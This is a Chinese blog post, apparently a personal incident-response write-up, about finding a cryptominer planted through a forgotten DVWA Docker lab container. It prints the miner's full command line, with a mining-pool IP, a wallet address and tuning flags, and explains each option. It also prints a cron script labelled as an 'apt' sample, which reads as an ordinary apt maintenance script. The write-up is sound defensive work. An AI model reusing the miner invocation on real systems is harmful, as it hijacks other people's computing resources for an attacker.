记一次挖矿脚本应急排查

起因

这几天返校进行实习答辩，没怎么关注服务器状态，结果收到了阿里云警告，咱也不知道怎么个事，突然就被种上挖矿脚本了(盲猜自己搭建的一些docker服务被打了)

上机排查

top看一下系统系统资源占用
这里出现了user 33，但是实际在服务器并不存在
这也验证了最初的想法，因为我服务器对外开放的服务全部是docker开启的
然后看一下pid 18778相关进程信息

root 1370 32188 0 11:57 pts/0 00:00:00 grep --color=auto 18778
33 18778 4905 99 Dec18 ? 1-05:59:09 cron -k -a rx/0 -o 168.119.201.62:1123 -u ZEPHYR37BygSp5JGDP1BdkYzEurUCjf3s5rTs6qnpWdXhaBoVeJ58inahbmNPoGea8KoZz7oj78ehffYrq86AKKQNXWKFFpeqck3r -p s --randomx-1gb-pages -t 5 -B

第一行是自己使用 grep 命令来查找包含关键字 18778 的进程信息，并通过 --color=auto 参数启用彩色输出。 这个是正常的
第二行才是被植入的挖矿命令

矿池地址：-o 168.119.201.62:1123
-k 参数指定了挖矿算法为 rx/0
钱包地址：-u ZEPHYR37BygSp5JGDP1BdkYzEurUCjf3s5rTs6qnpWdXhaBoVeJ58inahbmNPoGea8KoZz7oj78ehffYrq86AKKQNXWKFFpeqck3r
-p 挖矿密码
–randomx-1gb-pages 参数启用了一种名为 RandomX 的挖矿算法，并分配了1GB的页面内存。
-t 参数指定了线程数为5。
-B 参数将挖矿脚本设置为后台运行。

简单查一下
这里微步并没有显示什么恶意信息
这里直接进行访问,这里就是进行连接矿池
直接访问一下，也确实证实了这是个挖矿的矿池

结合docker资源管理进行分析

docker stats

docker stats 命令用于实时查看 Docker 容器的资源使用情况，包括 CPU 使用率、内存使用量、网络输入输出等信息。

[root@xxx ~]# docker ps | grep 99576d12c3a7

看到dvwa才想起来这是之前打靶场遗留下来的镜像，但是图方便忘记关掉了
进入镜像中

[root@xxx ~]# docker exec -it 99576d12c3a7 /bin/bash

这应该就是当时通过靶场拿下的webshell权限进行的挖矿脚本上传

手动排查定时计划位置
挨个进行查看
好家伙，apt都给我安排上了
将样本下载到本地方便后面分析
另一个是正常的文件
第三个一看就不简单，直接使用…进行隐藏文件名，而且放在tmp目录下(www-date用户也有权限进行执行)
查一下日志
18号当前，攻击者还简单curl了一下php后门，不过当我上去找后门的时候后门痕迹已经被清除了

和矿池的地址差不多也对上了

此外还有apt老哥留下的相关日志
看得出来是下载一些apt必要的依赖库，顺带还把时间改了

docker ps到本地进行简单分析

下面是apt相关的样本，感兴趣的朋友可以自行分析

#!/bin/sh
#set -e
#
# This file understands the following apt configuration variables:
# Values here are the default.
# Create /etc/apt/apt.conf.d/02periodic file to set your preference.
#
#  Dir "/";
#  - RootDir for all configuration files
#
#  Dir::Cache "var/cache/apt/";
#  - Set apt package cache directory
#
#  Dir::Cache::Archives "archives/";
#  - Set package archive directory
#
#  APT::Periodic::Enable "1";
#  - Enable the update/upgrade script (0=disable)
#
#  APT::Periodic::BackupArchiveInterval "0";
#  - Backup after n-days if archive contents changed.(0=disable)
#
#  APT::Periodic::BackupLevel "3";
#  - Backup level.(0=disable), 1 is invalid.
#
#  Dir::Cache::Backup "backup/";
#  - Set periodic package backup directory
#
#  APT::Archives::MaxAge "0"; (old, deprecated)
#  APT::Periodic::MaxAge "0"; (new)
#  - Set maximum allowed age of a cache package file. If a cache 
#    package file is older it is deleted (0=disable)
#
#  APT::Archives::MinAge "2"; (old, deprecated)
#  APT::Periodic::MinAge "2"; (new)
#  - Set minimum age of a package file. If a file is younger it
#    will not be deleted (0=disable). Useful to prevent races
#    and to keep backups of the packages for emergency.
#
#  APT::Archives::MaxSize "0"; (old, deprecated)
#  APT::Periodic::MaxSize "0"; (new)
#  - Set maximum size of the cache in MB (0=disable). If the cache
#    is bigger, cached package files are deleted until the size
#    requirement is met (the oldest packages will be deleted 
#    first).
#
#  APT::Periodic::Update-Package-Lists "0";
#  - Do "apt-get update" automatically every n-days (0=disable)
#    
#  APT::Periodic::Download-Upgradeable-Packages "0";
#  - Do "apt-get upgrade --download-only" every n-days (0=disable)
#
#  APT::Periodic::Download-Upgradeable-Packages-Debdelta "1";
#  - Use debdelta-upgrade to download updates if available (0=disable)
#
#  APT::Periodic::Unattended-Upgrade "0";
#  - Run the "unattended-upgrade" security upgrade script 
#    every n-days (0=disabled)
#    Requires the package "unattended-upgrades" and will write
#    a log in /var/log/unattended-upgrades
# 
#  APT::Periodic::AutocleanInterval "0";
#  - Do "apt-get autoclean" every n-days (0=disable)
#
#  APT::Periodic::Verbose "0";
#  - Send report mail to root
#      0:  no report             (or null string)
#      1:  progress report       (actually any string)
#      2:  + command outputs     (remove -qq, remove 2>/dev/null, add -d)
#      3:  + trace on            

check_stamp()
{
    stamp="$1"
    interval="$2"

    if [ $interval -eq 0 ]; then
	debug_echo "check_stamp: interval=0"
	# treat as no time has passed
        return 1
    fi

    if [ ! -f $stamp ]; then
	debug_echo "check_stamp: missing time stamp file: $stamp."
	# treat as enough time has passed
        return 0
    fi

    # compare midnight today to midnight the day the stamp was updated
    stamp_file="$stamp"
    stamp=$(date --date=$(date -r $stamp_file --iso-8601) +%s 2>/dev/null)
    if [ "$?" != "0" ]; then
        # Due to some timezones returning 'invalid date' for midnight on
        # certain dates (e.g. America/Sao_Paulo), if date returns with error
        # remove the stamp file and return 0. See coreutils bug:
        # http://lists.gnu.org/archive/html/bug-coreutils/2007-09/msg00176.html
        rm -f "$stamp_file"
        return 0
    fi

    now=$(date --date=$(date --iso-8601) +%s 2>/dev/null)
    if [ "$?" != "0" ]; then
        # As above, due to some timezones returning 'invalid date' for midnight
        # on certain dates (e.g. America/Sao_Paulo), if date returns with error
        # return 0.
        return 0
    fi

    delta=$(($now-$stamp))

    # interval is in days, convert to sec.
    interval=$(($interval*60*60*24))
    debug_echo "check_stamp: interval=$interval, now=$now, stamp=$stamp, delta=$delta (sec)"

    # remove timestamps a day (or more) in the future and force re-check
    if [ $stamp -gt $(($now+86400)) ]; then
         echo "WARNING: file $stamp_file has a timestamp in the future: $stamp"
         rm -f "$stamp_file"
         return 0
    fi

    if [ $delta -ge $interval ]; then
        return 0
    fi

    return 1
}

update_stamp()
{
    stamp="$1"
    touch $stamp
}

# we check here if autoclean was enough sizewise
check_size_constraints()
{
    MaxAge=0
    eval $(apt-config shell MaxAge APT::Archives::MaxAge)
    eval $(apt-config shell MaxAge APT::Periodic::MaxAge)

    MinAge=2
    eval $(apt-config shell MinAge APT::Archives::MinAge)
    eval $(apt-config shell MinAge APT::Periodic::MinAge)

    MaxSize=0
    eval $(apt-config shell MaxSize APT::Archives::MaxSize)
    eval $(apt-config shell MaxSize APT::Periodic::MaxSize)

    Cache="/var/cache/apt/archives/"
    eval $(apt-config shell Cache Dir::Cache::archives/d)

    # sanity check
    if [ -z "$Cache" ]; then
	echo "empty Dir::Cache::archives, exiting"
	exit
    fi

    # check age
    if [ ! $MaxAge -eq 0 ] && [ ! $MinAge -eq 0 ]; then
	debug_echo "aged: ctime <$MaxAge and mtime <$MaxAge and ctime>$MinAge and mtime>$MinAge"
	find $Cache -name "*.deb"  \( -mtime +$MaxAge -and -ctime +$MaxAge \) -and -not \( -mtime -$MinAge -or -ctime -$MinAge \) -print0 | xargs -r -0 rm -f
    elif [ ! $MaxAge -eq 0 ]; then
	debug_echo "aged: ctime <$MaxAge and mtime <$MaxAge only"
	find $Cache -name "*.deb"  -ctime +$MaxAge -and -mtime +$MaxAge -print0 | xargs -r -0 rm -f
    else
	debug_echo "skip aging since MaxAge is 0"
    fi
    
    # check size
    if [ ! $MaxSize -eq 0 ]; then
	# maxSize is in MB
	MaxSize=$(($MaxSize*1024))

	#get current time
	now=$(date --date=$(date --iso-8601) +%s)
	MinAge=$(($MinAge*24*60*60))

	# reverse-sort by mtime
	for file in $(ls -rt $Cache/*.deb 2>/dev/null); do 
	    du=$(du -s $Cache)
	    size=${du%%/*}
	    # check if the cache is small enough
	    if [ $size -lt $MaxSize ]; then
		debug_echo "end remove by archive size:  size=$size < $MaxSize"
		break
	    fi

	    # check for MinAge of the file
	    if [ $MinAge -ne 0 ]; then 
		# check both ctime and mtime 
		mtime=$(stat -c %Y $file)
		ctime=$(stat -c %Z $file)
		if [ $mtime -gt $ctime ]; then
		    delta=$(($now-$mtime))
		else
		    delta=$(($now-$ctime))
		fi
		if [ $delta -le $MinAge ]; then
		    debug_echo "skip remove by archive size:  $file, delta=$delta < $MinAge"
		    break
		else
		    # delete oldest file
		    debug_echo "remove by archive size: $file, delta=$delta >= $MinAge (sec), size=$size >= $MaxSize"
		    rm -f $file
		fi
	    fi
	done
    fi
}

# deal with the Apt::Periodic::BackupArchiveInterval
do_cache_backup()
{
    BackupArchiveInterval="$1"
    if [ $BackupArchiveInterval -eq 0 ]; then
	return
    fi

    # Set default values and normalize
    CacheDir="/var/cache/apt"
    eval $(apt-config shell CacheDir Dir::Cache/d)
    CacheDir=${CacheDir%/}
    if [ -z "$CacheDir" ]; then
	debug_echo "practically empty Dir::Cache, exiting"
	return 0
    fi

    Cache="${CacheDir}/archives/"
    eval $(apt-config shell Cache Dir::Cache::Archives/d)
    if [ -z "$Cache" ]; then
	debug_echo "practically empty Dir::Cache::archives, exiting"
	return 0
    fi

    BackupLevel=3
    eval $(apt-config shell BackupLevel APT::Periodic::BackupLevel)
    if [ $BackupLevel -le 1 ]; then 
	BackupLevel=2 ; 
    fi
    
    Back="${CacheDir}/backup/"
    eval $(apt-config shell Back Dir::Cache::Backup/d)
    if [ -z "$Back" ]; then
	echo "practically empty Dir::Cache::Backup, exiting" 1>&2
	return
    fi

    CacheArchive="$(basename "${Cache}")"
    test -n "${CacheArchive}" || CacheArchive="archives"
    BackX="${Back}${CacheArchive}/"
    for x in $(seq 0 1 $((${BackupLevel}-1))); do 
	eval "Back${x}=${Back}${x}/"
    done
    
    # backup after n-days if archive contents changed.
    # (This uses hardlink to save disk space)
    BACKUP_ARCHIVE_STAMP=/var/lib/apt/periodic/backup-archive-stamp
    if check_stamp $BACKUP_ARCHIVE_STAMP $BackupArchiveInterval; then
	if [ $({(cd $Cache 2>/dev/null; find . -name "*.deb"); (cd $Back0 2>/dev/null;find . -name "*.deb") ;}| sort|uniq -u|wc -l) -ne 0 ]; then
	    mkdir -p $Back
	    rm -rf $Back$((${BackupLevel}-1))
	    for y in $(seq $((${BackupLevel}-1)) -1 1); do 
		eval BackY=${Back}$y
		eval BackZ=${Back}$(($y-1))
		if [ -e $BackZ ]; then 
		    mv -f $BackZ $BackY ; 
		fi
	    done
	    cp -la $Cache $Back ; mv -f $BackX $Back0
	    update_stamp $BACKUP_ARCHIVE_STAMP
	    debug_echo "backup with hardlinks. (success)"
	else
	    debug_echo "skip backup since same content."
	fi
    else
	debug_echo "skip backup since too new."
    fi
}

# sleep for a random interval of time (default 30min)
# (some code taken from cron-apt, thanks)
random_sleep()
{
    RandomSleep=1800
    eval $(apt-config shell RandomSleep APT::Periodic::RandomSleep)
    if [ $RandomSleep -eq 0 ]; then
	return
    fi
    if [ -z "$RANDOM" ] ; then
        # A fix for shells that do not have this bash feature.
	RANDOM=$(( $(dd if=/dev/urandom bs=2 count=1 2> /dev/null | cksum | cut -d' ' -f1) % 32767 ))
    fi
    TIME=$(($RANDOM % $RandomSleep))
    debug_echo "sleeping for $TIME seconds"
    sleep $TIME
}


debug_echo()
{
    # Display message if $VERBOSE >= 1
    if [ "$VERBOSE" -ge 1 ]; then
	echo $1 1>&2
    fi
}

check_power(){
    # laptop check, on_ac_power returns:
    #       0 (true)    System is on main power
    #       1 (false)   System is not on main power
    #       255 (false) Power status could not be determined
    # Desktop systems always return 255 it seems
    if which on_ac_power >/dev/null; then
        on_ac_power
        POWER=$?
        if [ $POWER -eq 1 ]; then
	    debug_echo "exit: system NOT on main power"
	    return 1
        elif [ $POWER -ne 0 ]; then
	    debug_echo "power status ($POWER) undetermined, continuing"
        fi
        debug_echo "system is on main power."
    fi
    return 0
}

# ------------------------ main ----------------------------

if test -r /var/lib/apt/extended_states; then
    # Backup the 7 last versions of APT's extended_states file
    # shameless copy from dpkg cron
    if cd /var/backups ; then
	if ! cmp -s apt.extended_states.0 /var/lib/apt/extended_states; then
	    cp -p /var/lib/apt/extended_states apt.extended_states
	    savelog -c 7 apt.extended_states >/dev/null
	fi
    fi
fi

# check apt-config existence
if ! which apt-config >/dev/null ; then
	exit 0
fi

# check if the user really wants to do something
AutoAptEnable=1  # default is yes
eval $(apt-config shell AutoAptEnable APT::Periodic::Enable)

if [ $AutoAptEnable -eq 0 ]; then
    exit 0
fi

# Set VERBOSE mode from  apt-config (or inherit from environment)
VERBOSE=0
eval $(apt-config shell VERBOSE APT::Periodic::Verbose)
debug_echo "verbose level $VERBOSE"
if [ "$VERBOSE" -le 2 ]; then
    # quiet for 0,1,2
    XSTDOUT=">/dev/null"
    XSTDERR="2>/dev/null"
    XAPTOPT="-qq"
    XUUPOPT=""
else
    XSTDOUT=""
    XSTDERR=""
    XAPTOPT=""
    XUUPOPT="-d"
fi
if [ "$VERBOSE" -ge 3 ]; then
    # trace output
    set -x
fi

check_power || exit 0

# check if we can lock the cache and if the cache is clean
if which apt-get >/dev/null && ! eval apt-get check $XAPTOPT $XSTDERR ; then
    debug_echo "error encountered in cron job with \"apt-get check\"."
    exit 0
fi

# Global current time in seconds since 1970-01-01 00:00:00 UTC
now=$(date +%s)

# Support old Archive for compatibility.
# Document only Periodic for all controlling parameters of this script.

UpdateInterval=0
eval $(apt-config shell UpdateInterval APT::Periodic::Update-Package-Lists)

DownloadUpgradeableInterval=0
eval $(apt-config shell DownloadUpgradeableInterval APT::Periodic::Download-Upgradeable-Packages)

UnattendedUpgradeInterval=0
eval $(apt-config shell UnattendedUpgradeInterval APT::Periodic::Unattended-Upgrade)

AutocleanInterval=0
eval $(apt-config shell AutocleanInterval APT::Periodic::AutocleanInterval)

BackupArchiveInterval=0
eval $(apt-config shell BackupArchiveInterval APT::Periodic::BackupArchiveInterval)

Debdelta=1
eval $(apt-config shell Debdelta APT::Periodic::Download-Upgradeable-Packages-Debdelta)

# check if we actually have to do anything that requires locking the cache
if [ $UpdateInterval -eq 0 ] &&
   [ $DownloadUpgradeableInterval -eq 0 ] &&
   [ $UnattendedUpgradeInterval -eq 0 ] &&
   [ $BackupArchiveInterval -eq 0 ] &&
   [ $AutocleanInterval -eq 0 ]; then

    # check cache size
    check_size_constraints

    exit 0
fi

# deal with BackupArchiveInterval
do_cache_backup $BackupArchiveInterval

# sleep random amount of time to avoid hitting the 
# mirrors at the same time
random_sleep
check_power || exit 0

# include default system language so that "apt-get update" will
# fetch the right translated package descriptions
if [ -r /etc/default/locale ]; then
    . /etc/default/locale
    export LANG LANGUAGE LC_MESSAGES LC_ALL
fi

# update package lists
UPDATED=0
UPDATE_STAMP=/var/lib/apt/periodic/update-stamp
if check_stamp $UPDATE_STAMP $UpdateInterval; then
    if eval apt-get $XAPTOPT -y update $XSTDERR; then
	debug_echo "download updated metadata (success)."
	if which dbus-send >/dev/null && pidof dbus-daemon >/dev/null; then
	    if dbus-send --system / app.apt.dbus.updated boolean:true ; then
		debug_echo "send dbus signal (success)"
	    else
		debug_echo "send dbus signal (error)"
	    fi
	else
	    debug_echo "dbus signal not send (command not available)"
	fi
	update_stamp $UPDATE_STAMP
	UPDATED=1
    else
	debug_echo "download updated metadata (error)"
    fi
else
    debug_echo "download updated metadata (not run)."
fi
	
# download all upgradeable packages (if it is requested)
DOWNLOAD_UPGRADEABLE_STAMP=/var/lib/apt/periodic/download-upgradeable-stamp
if [ $UPDATED -eq 1 ] && check_stamp $DOWNLOAD_UPGRADEABLE_STAMP $DownloadUpgradeableInterval; then
    if [ $Debdelta -eq 1 ]; then
        debdelta-upgrade >/dev/null 2>&1 || true
    fi
    if  eval apt-get $XAPTOPT -y -d dist-upgrade $XSTDERR; then
	update_stamp $DOWNLOAD_UPGRADEABLE_STAMP
	debug_echo "download upgradable (success)"
    else
	debug_echo "download upgradable (error)"
    fi
else
    debug_echo "download upgradable (not run)"
fi

# auto upgrade all upgradeable packages
UPGRADE_STAMP=/var/lib/apt/periodic/upgrade-stamp
if which unattended-upgrade >/dev/null && check_stamp $UPGRADE_STAMP $UnattendedUpgradeInterval; then
    if unattended-upgrade $XUUPOPT; then
	update_stamp $UPGRADE_STAMP
	debug_echo "unattended-upgrade (success)"
    else
	debug_echo "unattended-upgrade (error)"
    fi
else
    debug_echo "unattended-upgrade (not run)"
fi

# autoclean package archive
AUTOCLEAN_STAMP=/var/lib/apt/periodic/autoclean-stamp
if check_stamp $AUTOCLEAN_STAMP $AutocleanInterval; then
    if  eval apt-get $XAPTOPT -y autoclean $XSTDERR; then
	debug_echo "autoclean (success)."
	update_stamp $AUTOCLEAN_STAMP
    else
	debug_echo "autoclean (error)"
    fi
else
    debug_echo "autoclean (not run)"
fi

# check cache size 
check_size_constraints

#
#     vim: set sts=4 ai :
#

当然解决也很简单，因为我这里是废弃的docker服务，所以直接stop停掉就可以了，如果是正常业务，可能需要进行视具体情况具体分析了

总结

打完靶场记得及时清理
不过通过这种方式来收集一些样本，也是一个不错的选择